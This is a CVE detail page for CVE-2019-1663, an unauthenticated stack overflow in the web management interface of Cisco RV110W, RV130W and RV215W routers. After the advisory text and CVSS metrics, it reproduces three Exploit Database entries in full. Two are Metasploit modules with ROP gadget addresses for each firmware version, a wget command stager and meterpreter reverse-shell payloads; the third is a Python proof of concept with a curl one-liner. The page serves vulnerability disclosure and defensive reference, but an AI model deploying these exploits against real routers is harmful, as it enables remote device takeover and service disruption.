CVE-2019-1663 : Detail

CVE-2019-1663

9.8
/
Critical
Overflow
97.2%V3
Network
2019-02-28
18h00 +00:00
2024-11-19
19h16 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Cisco RV110W, RV130W, and RV215W Routers Management Interface Remote Command Execution Vulnerability

A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user. RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected. RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 47348

Publication date : 2019-09-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # linux/armle/meterpreter/bind_tcp -> segfault # linux/armle/meterpreter/reverse_tcp -> segfault # linux/armle/meterpreter_reverse_http -> works # linux/armle/meterpreter_reverse_https -> works # linux/armle/meterpreter_reverse_tcp -> works # linux/armle/shell/bind_tcp -> segfault # linux/armle/shell/reverse_tcp -> segfault # linux/armle/shell_bind_tcp -> segfault # linux/armle/shell_reverse_tcp -> segfault # class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Deprecated moved_from 'exploit/linux/http/cisco_rv130_rmi_rce' def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution', 'Description' => %q{ A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user. RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected. RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected. Note: successful exploitation may not result in a session, and as such, on_new_session will never repair the HTTP server, leading to a denial-of-service condition. }, 'Author' => [ 'Yu Zhang', # Initial discovery (GeekPwn conference) 'Haoliang Lu', # Initial discovery (GeekPwn conference) 'T. Shiomitsu', # Initial discovery (Pen Test Partners) 'Quentin Kaiser <kaiserquentin@gmail.com>' # Vulnerability analysis & exploit dev ], 'License' => MSF_LICENSE, 'Platform' => %w[linux], 'Arch' => [ARCH_ARMLE, ARCH_MIPSLE], 'SessionTypes' => %w[meterpreter], 'CmdStagerFlavor' => %w{ wget }, 'Privileged' => true, # BusyBox 'References' => [ ['CVE', '2019-1663'], ['BID', '107185'], ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'], ['URL', 'https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/'] ], 'DefaultOptions' => { 'WfsDelay' => 10, 'SSL' => true, 'RPORT' => 443, 'CMDSTAGER::FLAVOR' => 'wget', 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', }, 'Targets' => [ [ 'Cisco RV110W 1.1.0.9', { 'offset' => 69, 'libc_base_addr' => 0x2af06000, 'libcrypto_base_addr' => 0x2ac01000, 'system_offset' => 0x00050d40, 'got_offset' => 0x0009d560, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV110W 1.2.0.9', { 'offset' => 69, 'libc_base_addr' => 0x2af08000, 'libcrypto_base_addr' => 0x2ac03000, 'system_offset' => 0x0004c7e0, 'got_offset' => 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV110W 1.2.0.10', { 'offset' => 69, 'libc_base_addr' => 0x2af09000, 'libcrypto_base_addr' => 0x2ac04000, 'system_offset' => 0x0004c7e0, 'got_offset' => 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV110W 1.2.1.4', { 'offset' => 69, 'libc_base_addr' => 0x2af54000, 'libcrypto_base_addr' => 0x2ac4f000, 'system_offset' => 0x0004c7e0, 'got_offset' => 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV110W 1.2.1.7', { 'offset' => 69, 'libc_base_addr' => 0x2af98000, 'libcrypto_base_addr' => 0x2ac4f000, 'system_offset' => 0x0004c7e0, 'got_offset' => 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV130/RV130W < 1.0.3.45', { 'offset' => 446, 'libc_base_addr' => 0x357fb000, 'system_offset' => 0x0004d144, 'gadget1' => 0x00020e79, # pop {r2, r6, pc}; 'gadget2' => 0x00041308, # mov r0, sp; blx r2; 'Arch' => ARCH_ARMLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', } }, ], [ 'Cisco RV215W 1.1.0.5', { 'offset' => 69, 'libc_base_addr' => 0x2af59000, 'libcrypto_base_addr' => 0x2ac54000, 'system_offset' => 0x0004c7e0, 'got_offset' => 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV215W 1.1.0.6', { 'offset' => 69, 'libc_base_addr' => 0x2af59000, 'libcrypto_base_addr' => 0x2ac54000, 'system_offset' => 0x0004c7e0, 'got_offset' => 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV215W 1.2.0.14', { 'offset' => 69, 'libc_base_addr' => 0x2af5f000, 'libcrypto_base_addr' => 0x2ac5a001, 'system_offset' => 0x0004c7e0, 'got_offset' => 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV215W 1.2.0.15', { 'offset' => 69, 'libc_base_addr' => 0x2af5f000, 'libcrypto_base_addr' => 0x2ac5a000, 'system_offset' => 0x0004c7e0, 'got_offset' => 0x00098db0, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV215W 1.3.0.7', { 'offset' => 77, 'libc_base_addr' => 0x2afeb000, 'libcrypto_base_addr' => 0x2aca5000, 'system_offset' => 0x0004c7e0, 'got_offset' => 0x000a0530, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], [ 'Cisco RV215W 1.3.0.8', { 'offset' => 77, 'libc_base_addr' => 0x2afee000, 'libcrypto_base_addr' => 0x2aca5000, 'system_offset' => 0x0004c7e0, 'got_offset' => 0x000a0530, # gadget 1 is in /usr/lib/libcrypto.so 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', } } ], ], 'DisclosureDate' => 'Feb 27 2019', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SERVICE_DOWN, ], }, )) end def p(lib, offset) [(lib + offset).to_s(16)].pack('H*').reverse end def prepare_shellcode(cmd) case target # RV110W 1.1.0.9, 1.2.0.9, 1.2.0.10, 1.2.1.4, 1.2.1.7 # RV215W 1.1.0.5, 1.1.0.6, 1.2.0.14, 1.2.0.15, 1.3.0.7, 1.3.0.8 when targets[0], targets[1], targets[2], targets[3], targets[4], targets[6], targets[7], targets[8], targets[9], targets[10], targets[11] shellcode = rand_text_alpha(target['offset']) + # filler rand_text_alpha(4) + # $s0 rand_text_alpha(4) + # $s1 rand_text_alpha(4) + # $s2 rand_text_alpha(4) + # $s3 p(target['libc_base_addr'], target['system_offset']) + # $s4 rand_text_alpha(4) + # $s5 rand_text_alpha(4) + # $s6 rand_text_alpha(4) + # $s7 rand_text_alpha(4) + # $s8 p(target['libcrypto_base_addr'], target['gadget1']) + # $ra p(target['libc_base_addr'], target['got_offset']) + rand_text_alpha(28) + cmd shellcode when targets[5] # RV130/RV130W shellcode = rand_text_alpha(target['offset']) + # filler p(target['libc_base_addr'], target['gadget1']) + p(target['libc_base_addr'], target['system_offset']) + # r2 rand_text_alpha(4) + # r6 p(target['libc_base_addr'], target['gadget2']) + # pc cmd shellcode end end def send_request(buffer) begin send_request_cgi({ 'uri' => '/login.cgi', 'method' => 'POST', 'vars_post' => { "submit_button": "login", "submit_type": "", "gui_action": "", "wait_time": 0, "change_action": "", "enc": 1, "user": rand_text_alpha_lower(5), "pwd": buffer, "sel_lang": "EN" } }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") end end def check # We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users. # We use lang_pack/EN.js because it's the one file that changes the most between versions. # Note that it's not a smoking gun given that some branches keep the exact same files in /www # (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x) fingerprints = { "69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => { "version" => "Cisco RV110W 1.1.0.9", "status" =>Exploit::CheckCode::Vulnerable }, "8d3b677d870425198f7fae94d6cfe262551aa8bd" => { "version" => "Cisco RV110W 1.2.0.9", "status" => Exploit::CheckCode::Vulnerable }, "134ee643ec877641030211193a43cc5e93c96a06" => { "version" => "Cisco RV110W 1.2.0.10", "status" => Exploit::CheckCode::Vulnerable }, "e3b2ec9d099a3e3468f8437e5247723643ff830e" => { "version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)", "status" => Exploit::CheckCode::Unknown }, "6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => { "version" => "Cisco RV130/RV130W 1.0.0.21", "status" => Exploit::CheckCode::Vulnerable }, "9b1a87b752d11c5ba97dd80d6bae415532615266" => { "version" => "Cisco RV130/RV130W 1.0.1.3", "status" => Exploit::CheckCode::Vulnerable }, "9b6399842ef69cf94409b65c4c61017c862b9d09" => { "version" => "Cisco RV130/RV130W 1.0.2.7", "status" => Exploit::CheckCode::Vulnerable }, "8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => { "version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16", "status" => Exploit::CheckCode::Vulnerable }, "8c8e05de96810a02344d96588c09b21c491ede2d" => { "version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)", "status" => Exploit::CheckCode::Unknown }, "2f29a0dfa78063d643eb17388e27d3f804ff6765" => { "version" => "Cisco RV215W 1.1.0.5", "status" => Exploit::CheckCode::Vulnerable }, "e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => { "version" => "Cisco RV215W 1.1.0.6", "status" => Exploit::CheckCode::Vulnerable }, "7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => { "version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15", "status" => Exploit::CheckCode::Vulnerable }, "050d47ea944eaeadaec08945741e8e380f796741" => { "version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)", "status" => Exploit::CheckCode::Unknown } } uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'lang_pack/EN.js') }) if res && res.code == 200 fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}") if fingerprints.key?(fingerprint) print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}") return fingerprints[fingerprint]["status"] else print_status("Couldn't reliably fingerprint the target.") end end Exploit::CheckCode::Unknown end def exploit print_status('Sending request') execute_cmdstager end def execute_command(cmd, opts = {}) shellcode = prepare_shellcode(cmd.to_s) send_request(shellcode) end def on_new_session(session) # Given there is no process continuation here, the httpd server will stop # functioning properly and we need to take care of proper restart # ourselves. print_status("Reloading httpd service") reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\"" else session.shell_command(reload_httpd_service) end ensure super end end
Exploit Database EDB-ID : 46961

Publication date : 2019-06-03 22h00 +00:00
Author : @0x00string
EDB Verified : No

#!/usr/bin/python # Exploit Title: Cisco RV130W Remote Stack Overflow # Google Dork: n/a # Date: Advisory Published: Feb 2019 # Exploit Author: @0x00string # Vendor Homepage: cisco.com # Software Link: https://www.cisco.com/c/en/us/products/routers/rv130w-wireless-n-multifunction-vpn-router/index.html # Version: 1.0.3.44 and prior # Tested on: 1.0.3.44 # CVE : CVE-2019-1663 # # 0x357fc000 - libc base addr # 0x35849144 - system() addr # # 0x0002eaf8 / 0x3582AAF8: pop {r4, r5, lr}; add sp, sp, #8; bx lr; # 0x0000c11c / 0x3580811C: mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc}; # 0x00041308 / 0x3583D308: mov r0, sp; blx r2; # # gadget 1 system() junk gadget 2 junk junk junk junk junk gadget 3 text # [0x3582AAF8][0x35849144][AAAA][0x3580811C][BBBB][CCCC][DDDD][EEEE][FFFF][0x3583D308][command] # # curl -k -X 'POST' --data "submit_button=login&submit_type=&gui_action=&default_login=1&wait_time=0&change_action=&enc=1&user=cisco&pwd=UUUUZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZVVVVWWWWXXXXYYYY`printf "\xf8\xaa\x82\x35\x44\x91\x84\x35AAAA\x1c\x81\x80\x35BBBBCCCCDDDDEEEEFFFF\x08\xd3\x83\x35ping 192.168.1.100\x00"`&sel_lang=EN" 'https://192.168.1.1:443/login.cgi' #!/usr/bin/python import requests def banner(): print ''' @0x00string 0000000000000 0000000000000000000 00 00000000000000000000000000000 0000000000000000000000000000000 000000000 0000000000 00000000 0000000000 0000000 000000000000 0000000 000000000000000 000000 000000000 000000 0000000 000000000 000000 000000 000000000 000000 000000 000000000 000000 000000 00000000 000000 000000 000000000 000000 0000000 000000000 0000000 000000 000000000 000000 0000000000000000 0000000 0000000000000 0000000 00000000000 00000000 00000000000 000000000 0000000000000000000000000000000 00000000000000000000000000000 000 0000000000000000000 0000000000000 https://github.com/0x00string/oldays/blob/master/CVE-2019-1663.py ''' def main(): banner() command = "ping 192.168.1.100\x00" print ("Sending exploit to execute [" + command + "]\n") rop = "\xf8\xaa\x82\x35"+"\x44\x91\x84\x35"+"AAAA"+"\x1c\x81\x80\x35"+"BBBB"+"CCCC"+"DDDD"+"EEEE"+"FFFF"+"\x08\xd3\x83\x35" payload = ("Z" * 446) + rop + command url = "https://192.168.1.100:443/login.cgi" data = {'submit_button': 'login','submit_type': '','gui_action': '','default_login': '1','wait_time': '0','change_action': '','enc': '1','user': 'cisco','pwd': payload,'sel_lang': 'EN'} r = requests.post(url, payload=data) if __name__ == "__main__": main()
Exploit Database EDB-ID : 46705

Publication date : 2019-04-14 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # linux/armle/meterpreter/bind_tcp -> segfault # linux/armle/meterpreter/reverse_tcp -> segfault # linux/armle/meterpreter_reverse_http -> works # linux/armle/meterpreter_reverse_https -> works # linux/armle/meterpreter_reverse_tcp -> works # linux/armle/shell/bind_tcp -> segfault # linux/armle/shell/reverse_tcp -> segfault # linux/armle/shell_bind_tcp -> segfault # linux/armle/shell_reverse_tcp -> segfault # class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco RV130W Routers Management Interface Remote Command Execution', 'Description' => %q{ A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user. RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. Note: successful exploitation may not result in a session, and as such, on_new_session will never repair the HTTP server, leading to a denial-of-service condition. }, 'Author' => [ 'Yu Zhang', # Initial discovery 'Haoliang Lu', # Initial discovery 'T. Shiomitsu', # Initial discovery 'Quentin Kaiser <kaiserquentin@gmail.com>' # Vulnerability analysis & exploit dev ], 'License' => MSF_LICENSE, 'Platform' => %w[linux], 'Arch' => [ARCH_ARMLE], 'SessionTypes' => %w[meterpreter], 'CmdStagerFlavor' => %w{ wget }, 'Privileged' => true, # BusyBox 'References' => [ ['CVE', '2019-1663'], ['BID', '107185'], ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'], ], 'DefaultOptions' => { 'WfsDelay' => 10, 'SSL' => true, 'RPORT' => 443, 'CMDSTAGER::FLAVOR' => 'wget', 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', }, 'Targets' => [ [ 'Cisco RV130/RV130W < 1.0.3.45', { 'offset' => 446, 'libc_base_addr' => 0x357fb000, 'system_offset' => 0x0004d144, 'gadget1' => 0x00020e79, # pop {r2, r6, pc}; 'gadget2' => 0x00041308, # mov r0, sp; blx r2; 'Arch' => ARCH_ARMLE, } ], ], 'DisclosureDate' => 'Feb 27 2019', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SERVICE_DOWN, ], }, )) end def p(offset) [(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse end def prepare_shellcode(cmd) #All these gadgets are from /lib/libc.so.0 shellcode = rand_text_alpha(target['offset']) + # filler p(target['gadget1']) + p(target['system_offset']) + # r2 rand_text_alpha(4) + # r6 p(target['gadget2']) + # pc cmd shellcode end def send_request(buffer) begin send_request_cgi({ 'uri' => '/login.cgi', 'method' => 'POST', 'vars_post' => { "submit_button": "login", "submit_type": "", "gui_action": "", "wait_time": 0, "change_action": "", "enc": 1, "user": rand_text_alpha_lower(5), "pwd": buffer, "sel_lang": "EN" } }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") end end def exploit print_status('Sending request') execute_cmdstager end def execute_command(cmd, opts = {}) shellcode = prepare_shellcode(cmd.to_s) send_request(shellcode) end def on_new_session(session) # Given there is no process continuation here, the httpd server will stop # functioning properly and we need to take care of proper restart # ourselves. print_status("Reloading httpd service") reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\"" else session.shell_command(reload_httpd_service) end ensure super end end

Products Mentioned

Configuraton 0

